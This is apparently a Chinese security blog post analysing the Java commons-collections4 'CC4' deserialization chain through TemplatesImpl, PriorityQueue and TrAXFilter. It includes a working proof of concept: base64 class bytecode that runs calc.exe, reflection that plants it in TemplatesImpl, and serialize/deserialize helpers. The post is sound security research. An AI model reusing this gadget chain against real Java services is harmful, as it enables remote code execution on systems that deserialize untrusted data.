Java cc链-TemplatesImpl利用分析

前置知识

ClassLoader

顾名思义,ClassLoader的作用是将一个字节码文件转化为内存中的对象,实现过程分为三个方法:loadClass、findClass、defineClass。

loadClass:从字节码.class文件加载目标类的入口(字节码文件可以是本地文件资源、远程文件资源),在这个过程中会查找当前ClassLoader是否已经加载过这个类,如果没有加载过就会通过双亲委派机制让parent的ClassLoader尝试加载目标类。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Class<?> c = findLoadedClass(name);
if (c == null) {
    long t0 = System.nanoTime();
    try {
        if (parent != null) {
            c = parent.loadClass(name, false);
        } else {
            c = findBootstrapClassOrNull(name);
        }
    } catch (ClassNotFoundException e) {
        // ClassNotFoundException thrown if class not found
        // from the non-null parent class loader
    }
    ...
}

如果还不行就会调用findClass方法来决定加载目标类的方式,最后获得一段字节流交给defineClass处理。

1
2
3
4
5
6
7
if (c == null) {
    // If still not found, then invoke findClass in order
    // to find the class.
    long t1 = System.nanoTime();
    c = findClass(name);
	...
}

defineClass:将前面获得的字节流转换为一个对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    protectionDomain = preDefineClass(name, protectionDomain);
    String source = defineClassSourceLocation(protectionDomain);
    Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
    postDefineClass(c, protectionDomain);
    return c;
}

如何利用defineClass

从上面可知defineClass是完成字节码到对象转换的关键,因此可以通过直接传入字节流经过defineClass方法创建对象。

先写一个恶意类编译出.class文件,然后内容base64一下(代码基于P师傅漫谈修改,作用是弹计算器)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Method defineClass =
    ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                                        byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String src = "yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQA" +
    "YBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1" +
    "iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAFwE" +
    "AClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAkACgcAGwwAHAAdAQA" +
    "IY2FsYy5leGUMAB4AHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MACA" +
    "ACgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5" +
    "nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J" +
    "1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGp" +
    "hdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAc" +
    "ACAAAAAAAAgABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAE" +
    "ADAAAAAYAAQAAAAMACAANAAoAAQALAAAATwACAAEAAAASuAACEgO" +
    "2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAGAAk" +
    "ACQAMAAcADQAIABEACgAOAAAABwACTAcADwQAAQAQAAAAAgAR";
byte[] code = Base64.getDecoder().decode(src);
Class hello = (Class)defineClass.invoke(
    ClassLoader.getSystemClassLoader(),
    null,
    code,
    0,
    code.length
);
//        System.out.println(src);
hello.newInstance();

TemplatesImpl

从上面大部分都是piao的代码可以看出直接传入字节码实现RCE是需要反射来调用defineClass方法,而直接通过反序列化的路径是很难直接接触到ClassLoader的defineClass方法的,因为defineClass方法是protected修饰符,但还好有一些底层类覆写了defineClass方法,其中之一就是经典的反序列化利用类——TemplatesImpl类

TemplatesImpl类定义了一个内部ClassLoader类TransletClassLoader,其中覆写了defineClass方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

    TransletClassLoader(ClassLoader parent) {
        super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
    }

    /**
         * Access to final protected superclass member from outer class.
         */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

可以看到defineClass方法没有声明权限修饰符,那么权限就是default,可以通过同package下的子类访问该方法。那么该如何通过TemplatesImpl加载传入的字节流呢?回溯一下调用链:

1
2
3
4
5
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance /* 类注释有惊喜 */
TemplatesImpl#defineTransletClasses
TemplatesImpl$TransletClassLoader#defineClass

相比于其他的方法,defineTransletClasses方法在该类中有三处调用,但是我们选择了getTransletInstance方法,因为从getTransletInstance方法注释中我们可知生成的实例会被包含于Transformer对象中,而另外两个是为了返回字节码信息的。

了解了调用链发现newTransformer和getOutputProperties都是public修饰符,都可以被外部调用从而触发defineClass方法,这里就通过newTransformer方法来调用defineClass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
    String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
    byte[] code = Base64.getDecoder().decode(src);

    TemplatesImpl obj = new TemplatesImpl();

    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "tyskill"); // 任意字符串
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 必须为指定类
    obj.newTransformer();
}

public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

注意:字节码对应的 class 需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类,因为在defineTransletClasses方法会进行一次基类判断

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    // ABSTRACT_TRANSLET指com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    else {
        _auxClasses.put(_class[i].getName(), _class[i]);
    }
}

如果判断不通过就会报

错误导致无法成功加载字节码

提取字节码

https://blog.csdn.net/fnmsd/article/details/115015115

环境搭建

JDK版本:1.8u60

commons-collections4:4.0

1
2
3
4
5
6
7
 <dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
  </dependencies>

CommonsCollections 4

cc2还是用的Invoker,cc3使用InstantiateTransformer替换了Invoker,但是环境版本是3.1,cc4总结了两者,所以还是看一下cc4吧

条件:commons-collections4:4.0

Gadget chain

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
    PriorityQueue.readObject()
    	...
    		TransformingComparator.compare()
                InstantiateTransformer.transform()
                	TrAXFilter.TrAXFilter()
    					TemplatesImpl.newTransformer()
    						...

分析过程

InstantiateTransformer类的transform调用传入对象的无参构造器构造对象,但是TemplatesImpl并没有直接调用newTransformer或getOutputProperties方法的构造方法,那就需要寻找其他的调用路径:TrAXFilter

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

通过该类的无参构造方法可以顺利的实现defineClass方法调用,那么现在就没有问题了,然后就是耳熟能详的寻找transform环节,TransformingComparator类compare方法会调用比较对象的transform方法

1
2
3
4
5
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

然后到PriorityQueue类,该链剩下的调用链都是该类下方法间的调用

1
readObject() => heapify() => siftDown() => siftDownUsingComparator()

writeObject可控queue内容,因此siftDown在size大于1时可以处理queue内容,然后通过siftDownUsingComparator调用compare方法。且由于该类的字段comparator类型是Comparator<? super E>,因此可以通过构造方法直接传入TransformingComparator类

简陋的POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static void main(String[] args) throws Exception {

    String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
    byte[] code = Base64.getDecoder().decode(src);

    TemplatesImpl obj = new TemplatesImpl();

    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "tyskill");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

    ChainedTransformer chain = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] { obj }
            )
        }
    );

    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    try {
        //            serialize(queue, "E:/tmp/cc4");
        deserialize("E:/tmp/cc4");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

public static void serialize(Object obj, String path) throws IOException {
    FileOutputStream fos = new FileOutputStream(path);
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(obj);
    oos.close();
}

public static void deserialize(String path) throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream(path);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    ois.close();
}

参考

https://zhuanlan.zhihu.com/p/51374915

《Java安全漫谈》——P神